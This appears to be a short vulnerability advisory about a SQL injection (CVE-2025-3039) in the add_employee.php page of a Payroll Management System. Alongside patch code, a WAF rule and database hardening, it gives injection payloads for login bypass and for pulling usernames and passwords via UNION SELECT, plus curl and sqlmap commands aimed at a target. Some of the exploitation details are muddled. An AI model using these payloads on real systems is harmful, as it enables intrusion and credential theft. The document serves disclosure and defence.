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How CVE-2025-3039 Works
This vulnerability exploits improper input sanitization in `/add_employee.php` where attacker-controlled `lname` and `fname` parameters are directly concatenated into SQL queries. By injecting malicious SQL payloads, attackers can manipulate database operations, extract sensitive information, or execute arbitrary commands. The flaw exists due to missing prepared statements or parameterized queries, allowing attackers to bypass authentication, dump database contents, or escalate privileges remotely via crafted HTTP requests.
DailyCVE Form
Platform: Payroll Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Payload Example:
' OR '1'='1' --
Injected into `fname` parameter to bypass login.
2. Union-Based Data Exfiltration:
' UNION SELECT username, password FROM users --
3. Exploit via cURL:
curl -X POST "http://target.com/add_employee.php" -d "fname=malicious&lname=payload"
Detection
1. SQLi Fingerprinting:
sqlmap -u "http://target.com/add_employee.php?fname=test" --risk=3 --level=5
2. Log Analysis:
grep "SQL syntax error" /var/log/apache2/access.log
Mitigation
1. Patch Code:
$stmt = $conn->prepare("INSERT INTO employees (fname, lname) VALUES (?, ?)");
$stmt->bind_param("ss", $_POST['fname'], $_POST['lname']);
2. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
3. Database Hardening:
REVOKE ALL PRIVILEGES ON payroll_db FROM 'webuser'@'%';
4. Network Controls:
iptables -A INPUT -p tcp --dport 80 -m string --string "UNION SELECT" -j DROP
5. Post-Exploit Audit:
mysqldump --no-data payroll_db > schema_audit.sql
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
